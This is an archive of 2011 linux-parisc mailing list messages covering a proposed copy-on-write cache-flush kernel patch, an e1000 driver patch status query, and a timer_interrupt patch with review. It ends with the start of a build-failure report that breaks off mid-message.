	id S1755084Ab1BVSQx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Feb 2011 13:16:53 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1879 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755079Ab1BVSQw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Feb 2011 13:16:52 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id EAE1F4E01; Tue, 22 Feb 2011 13:16:49 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110222182453.1d9f33da@borg.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3480>

On Tue, 22 Feb 2011, Guy Martin wrote:

> I'm running into some python test failures which I believe is caused by
> the COW break issue and I'd like to test the patch out.
> 
> I've been trying to look through all the mail threads but I can't find
> it.
> 
> Can someone let me know where the patch is and possibly send it
> upstream ?

As far as I know, there isn't a final patch.  The original suggestion
was here:
http://permalink.gmane.org/gmane.linux.ports.parisc/2754

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: COW break issue. Where is the patch ?
Date: Wed, 23 Feb 2011 18:53:14 -0500
Organization: nrc.ca
Lines: 77
Approved: news@gmane.org
Message-ID: <20110223235313.GA258@hiauly1.hia.nrc.ca>
References: <20110222182453.1d9f33da@borg.bxl.tuxicoman.be>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1298505222 1714 80.91.229.12 (23 Feb 2011 23:53:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 23 Feb 2011 23:53:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Carlos O'Donell <carlos@systemhalted.org>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 24 00:53:37 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PsOWV-0001VF-Ni
	for glpp-linux-parisc@lo.gmane.org; Thu, 24 Feb 2011 00:53:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755027Ab1BWXxT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Feb 2011 18:53:19 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2726 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754481Ab1BWXxR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Feb 2011 18:53:17 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 213F44E7B; Wed, 23 Feb 2011 18:53:14 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110222182453.1d9f33da@borg.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3481>

On Tue, 22 Feb 2011, Guy Martin wrote:

> I'm running into some python test failures which I believe is caused by
> the COW break issue and I'd like to test the patch out.
> 
> I've been trying to look through all the mail threads but I can't find
> it.

You might try the attached change to see if it helps.  SMP lightly tested.

Possibly, using flush_dcache_page is overkill and it might not do the
exactly the right thing, but it resolves changing the calling interface
for ptep_set_wrprotect.  There also might be some race conditions.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 5d7b8ce..4924e23 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -450,20 +450,7 @@ static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 	return old_pte;
 }
 
-static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
-{
-#ifdef CONFIG_SMP
-	unsigned long new, old;
-
-	do {
-		old = pte_val(*ptep);
-		new = pte_val(pte_wrprotect(__pte (old)));
-	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
-#else
-	pte_t old_pte = *ptep;
-	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
-#endif
-}
+extern void ptep_set_wrprotect(struct mm_struct *, unsigned long, pte_t *);
 
 #define pte_same(A,B)	(pte_val(A) == pte_val(B))
 
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 3f11331..a16430d 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -502,3 +531,22 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
+{
+#ifdef CONFIG_SMP
+        unsigned long new, old;
+
+        if (atomic_read(&mm->mm_users) > 1)
+                flush_dcache_page(pte_page(*ptep));
+        do {
+                old = pte_val(*ptep);
+                new = pte_val(pte_wrprotect(__pte (old)));
+        } while (cmpxchg((unsigned long *) ptep, old, new) != old);
+#else
+        pte_t old_pte = *ptep;
+        if (atomic_read(&mm->mm_users) > 1)
+                flush_dcache_page(pte_page(old_pte));
+        set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
+#endif
+}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.drivers.e1000.devel
Subject: Re: [PATCH] e1000: Allow the driver to be used on PA RISC C8000
 workstation
Date: Mon, 28 Feb 2011 14:40:06 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20110228144006.2adb4fdd@borg.bxl.tuxicoman.be>
References: <A78C6259B11833419567082E2DC0C25601D8A9CA5E@orsmsx508.amr.corp.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1298900427 25115 80.91.229.12 (28 Feb 2011 13:40:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 28 Feb 2011 13:40:27 +0000 (UTC)
Cc: "'kyle@mcmartin.ca'" <kyle@mcmartin.ca>,
	"'e1000-devel@lists.sourceforge.net'" 
	<e1000-devel@lists.sourceforge.net>,
	"'mikulas@artax.karlin.mff.cuni.cz'" 
	<mikulas@artax.karlin.mff.cuni.cz>,
	"'linux-parisc@vger.kernel.org'" <linux-parisc@vger.kernel.org>
To: "Kirsher, Jeffrey T" <jeffrey.t.kirsher@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 28 14:40:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pu3Ko-0007HG-D7
	for glpp-linux-parisc@lo.gmane.org; Mon, 28 Feb 2011 14:40:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754158Ab1B1NkU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 28 Feb 2011 08:40:20 -0500
Original-Received: from louis.schedom-europe.net ([193.109.184.93]:51939 "EHLO
	louis.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754151Ab1B1NkT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 28 Feb 2011 08:40:19 -0500
Original-Received: (qmail 4233 invoked by uid 507); 28 Feb 2011 14:40:17 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	louis.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by louis.schedom-europe.net with SMTP; 28 Feb 2011 14:40:12 +0100
Original-Received: from borg.bxl.tuxicoman.be ([2001:6f8:310:301::1])
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.74)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1Pu3Kc-00075h-T8; Mon, 28 Feb 2011 14:40:10 +0100
In-Reply-To: <A78C6259B11833419567082E2DC0C25601D8A9CA5E@orsmsx508.amr.corp.intel.com>
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3482 gmane.linux.drivers.e1000.devel:8038
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3482>


Hi Jeff,

Any luck getting this into mainline ?

Regards,
  Guy

On Tue, 7 Dec 2010 05:48:55 -0800
"Kirsher, Jeffrey T" <jeffrey.t.kirsher@intel.com> wrote:

> I will add it to my tree/queue.
> 
> Cheer,
> Jeff
> 
> 
>  -----Original Message-----
> From: 	Kyle McMartin [mailto:kyle@mcmartin.ca]
> Sent:	Monday, December 06, 2010 08:12 AM US Mountain Standard
> Time To:	Guy Martin
> Cc:	e1000-devel@lists.sourceforge.net; Mikulas Patocka;
> linux-parisc@vger.kernel.org; Kirsher, Jeffrey T Subject:	Re:
> [PATCH] e1000: Allow the driver to be used on PA RISC C8000
> workstation
> 
> On Sun, Dec 05, 2010 at 06:04:26PM +0100, Guy Martin wrote:
> > Hi all,
> > 
> > I can confirm that I've seen the very same on multiple C8000
> > workstation too.
> > 
> > Can someone please apply this patch ?
> > 
> > Tested-by: Guy Martin <gmsoft@tuxicoman.be>
> > 
> 
> It should be sent via netdev@ so that DaveM can pick it up if the
> e1000 folks do not...
> 
> --Kyle

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Brandeburg <jesse.brandeburg@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.drivers.e1000.devel
Subject: Re: [E1000-devel] [PATCH] e1000: Allow the driver to be used on PA
 RISC C8000 workstation
Date: Wed, 2 Mar 2011 21:19:24 -0800
Lines: 78
Approved: news@gmane.org
Message-ID: <AANLkTinga9dW9+4TQzE+f6Tt4kAEiXaprZjv+U+-a5Mq@mail.gmail.com>
References: <A78C6259B11833419567082E2DC0C25601D8A9CA5E@orsmsx508.amr.corp.intel.com>
	<20110228144006.2adb4fdd@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1299129577 27920 80.91.229.12 (3 Mar 2011 05:19:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 3 Mar 2011 05:19:37 +0000 (UTC)
Cc: "kyle@mcmartin.ca" <kyle@mcmartin.ca>,
	"e1000-devel@lists.sourceforge.net" 
	<e1000-devel@lists.sourceforge.net>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"mikulas@artax.karlin.mff.cuni.cz" <mikulas@artax.karlin.mff.cuni.cz>
To: Guy Martin <gmsoft@tuxicoman.be>,
	"Kirsher, Jeffrey T" <jeffrey.t.kirsher@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 03 06:19:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pv0wl-0004ZI-G0
	for glpp-linux-parisc@lo.gmane.org; Thu, 03 Mar 2011 06:19:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750769Ab1CCFTb convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Mar 2011 00:19:31 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:62252 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750742Ab1CCFTa convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Mar 2011 00:19:30 -0500
Original-Received: by bwz15 with SMTP id 15so837629bwz.19
        for <linux-parisc@vger.kernel.org>; Wed, 02 Mar 2011 21:19:29 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=iZMkfvDwrJgYDp3tB8IYter9F2h9xWqhlV9m0FO9xrQ=;
        b=ssW/tVQbcDyGJ0vZJxKNbp9tc4vQyRsJKMLAc/5ey+2CAl3o09nrh0IPk+qUne+FMZ
         SWIosYEHlKZ0zpVn6dG+uAyRb/aVXkX1ufNAjlsgedvY5A4HHX5q4LF2b1QVKLPnyyXV
         SD35GCyc3HxJsRxnZQBsSX/nq+MMlkGIg5ZN4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=ZFp10uAVJMIEP9EpH7pIImvrEuD+zLJRIQPibPWuNVq7JUqdIBG/I6sQuB/1LW28Ns
         sC7SvHD2iavwiH44ZFWyB7XMb4Z70+lAr1dsrNKtIh245ukBpEfLK77tCZG4n4y+sqaa
         UBdD8DrOVfgqzXWvoSpfREpNPrLof0C+Dz9Q0=
Original-Received: by 10.204.66.148 with SMTP id n20mr954607bki.44.1299129564662; Wed,
 02 Mar 2011 21:19:24 -0800 (PST)
Original-Received: by 10.204.48.93 with HTTP; Wed, 2 Mar 2011 21:19:24 -0800 (PST)
In-Reply-To: <20110228144006.2adb4fdd@borg.bxl.tuxicoman.be>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3483 gmane.linux.drivers.e1000.devel:8059
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3483>

On Mon, Feb 28, 2011 at 5:40 AM, Guy Martin <gmsoft@tuxicoman.be> wrote=
:
>
> Hi Jeff,
>
> Any luck getting this into mainline ?


Hi Guy, sorry for the delay,
We haven't been able to get our contacts in HP to give us a decent
response so far, we are following up with them to see whats up.  We
have not lost the patch and are still tracking it internally.

Give us a couple more weeks if that is okay and we should be able to
settle this by then.

> Regards,
> =A0Guy
>
> On Tue, 7 Dec 2010 05:48:55 -0800
> "Kirsher, Jeffrey T" <jeffrey.t.kirsher@intel.com> wrote:
>
> > I will add it to my tree/queue.
> >
> > Cheer,
> > Jeff
> >
> >
> > =A0-----Original Message-----
> > From: =A0 =A0 =A0 =A0 Kyle McMartin [mailto:kyle@mcmartin.ca]
> > Sent: Monday, December 06, 2010 08:12 AM US Mountain Standard
> > Time To: =A0 =A0 =A0Guy Martin
> > Cc: =A0 e1000-devel@lists.sourceforge.net; Mikulas Patocka;
> > linux-parisc@vger.kernel.org; Kirsher, Jeffrey T Subject: =A0 =A0 R=
e:
> > [PATCH] e1000: Allow the driver to be used on PA RISC C8000
> > workstation
> >
> > On Sun, Dec 05, 2010 at 06:04:26PM +0100, Guy Martin wrote:
> > > Hi all,
> > >
> > > I can confirm that I've seen the very same on multiple C8000
> > > workstation too.
> > >
> > > Can someone please apply this patch ?
> > >
> > > Tested-by: Guy Martin <gmsoft@tuxicoman.be>
> > >
> >
> > It should be sent via netdev@ so that DaveM can pick it up if the
> > e1000 folks do not...
> >
> > --Kyle
>
>
> ---------------------------------------------------------------------=
---------
> Free Software Download: Index, Search & Analyze Logs and other IT dat=
a in
> Real-Time with Splunk. Collect, index and harness all the fast moving=
 IT data
> generated by your applications, servers and devices whether physical,=
 virtual
> or in the cloud. Deliver compliance at lower cost and gain new busine=
ss
> insights. http://p.sf.net/sfu/splunk-dev2dev
> _______________________________________________
> E1000-devel mailing list
> E1000-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/e1000-devel
> To learn more about Intel&#174; Ethernet, visit http://communities.in=
tel.com/community/wired
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc] [PATCH] timer_interrupt: Fix "SLOW!" warning on rp3440
Date: Sat, 12 Mar 2011 12:08:32 -0500
Organization: nrc.ca
Lines: 30
Approved: news@gmane.org
Message-ID: <20110312170831.GA15698@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1299949728 19121 80.91.229.12 (12 Mar 2011 17:08:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 12 Mar 2011 17:08:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 12 18:08:42 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PySIz-00082Q-Fs
	for glpp-linux-parisc@lo.gmane.org; Sat, 12 Mar 2011 18:08:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754413Ab1CLRIj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Mar 2011 12:08:39 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2083 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754250Ab1CLRIj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Mar 2011 12:08:39 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5AC2B5014; Sat, 12 Mar 2011 12:08:33 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3484>

The attached change fixes the "SLOW!" timer_interrupt warning that I
occassionally see on my rp3440 (800 MHz).  We need to avoid using the
expensive div/mul method.  I have seen instances where it takes more
than 0x7000 cycles.

Signed-off-by: John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 05511cc..63071c4 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -76,7 +76,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 6) < cpt) {
+	if ((cycles_elapsed >> 7) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc] [PATCH] timer_interrupt: Fix "SLOW!" warning on rp3440
Date: Sat, 12 Mar 2011 14:59:52 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <1299963592.5366.26.camel@mulgrave.site>
References: <20110312170831.GA15698@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1299963604 19411 80.91.229.12 (12 Mar 2011 21:00:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 12 Mar 2011 21:00:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 12 22:00:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PyVun-0004Hr-Pr
	for glpp-linux-parisc@lo.gmane.org; Sat, 12 Mar 2011 21:59:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755483Ab1CLU74 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Mar 2011 15:59:56 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59821 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755418Ab1CLU74 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Mar 2011 15:59:56 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id AA25C8EE107;
	Sat, 12 Mar 2011 12:59:54 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XyzPW1lnbBSG; Sat, 12 Mar 2011 12:59:54 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 47BD48EE0CE;
	Sat, 12 Mar 2011 12:59:54 -0800 (PST)
In-Reply-To: <20110312170831.GA15698@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3485
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3485>

On Sat, 2011-03-12 at 12:08 -0500, John David Anglin wrote:
> The attached change fixes the "SLOW!" timer_interrupt warning that I
> occassionally see on my rp3440 (800 MHz).  We need to avoid using the
> expensive div/mul method.  I have seen instances where it takes more
> than 0x7000 cycles.

> Signed-off-by: John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>
> 
> Dave

Your change implies that more than 2^6 == 64 ticks (that's over half a
second) can have elapsed between two calls to timer_interrupt().  That
looks like an awfully large lacuna, and is like the cause of whatever
problem you're seeing rather than the use of divide.  Parisc even has
the DS instruction that would seem to make division not so expensive.

How much more expensive is div than mul?  because if it's a lot more, we
can use a logarithmic iteration to do the division.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: compile failure: pacache.S and .size
Date: Sun, 13 Mar 2011 00:08:25 +0200 (EET)
Lines: 34
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1103130004110.6027@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1299969343 12195 80.91.229.12 (12 Mar 2011 22:35:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 12 Mar 2011 22:35:43 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 12 23:35:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PyXPN-0004jh-OM
	for glpp-linux-parisc@lo.gmane.org; Sat, 12 Mar 2011 23:35:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755920Ab1CLWfg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 12 Mar 2011 17:35:36 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:36534 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755879Ab1CLWfg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 12 Mar 2011 17:35:36 -0500
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 924C173D58B
	for <linux-parisc@vger.kernel.org>; Sun, 13 Mar 2011 00:08:25 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 886D6DAF81; Sun, 13 Mar 2011 00:08:25 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 77CAFDAF80
	for <linux-parisc@vger.kernel.org>; Sun, 13 Mar 2011 00:08:25 +0200 (EET)
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3486
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3486>

This is todays 2.6.38-rc8+git on hppa64 with
(GNU Binutils for Debian) 2.21.0.20110302. Have not tried to build an 
earlier kernel with this binutils so I do not knwo if this is a 
regression but it looks more like a problem found by new binutils.

  AS      arch/parisc/kernel/pacache.o
arch/parisc/kernel/pacache.S: Assembler messages:
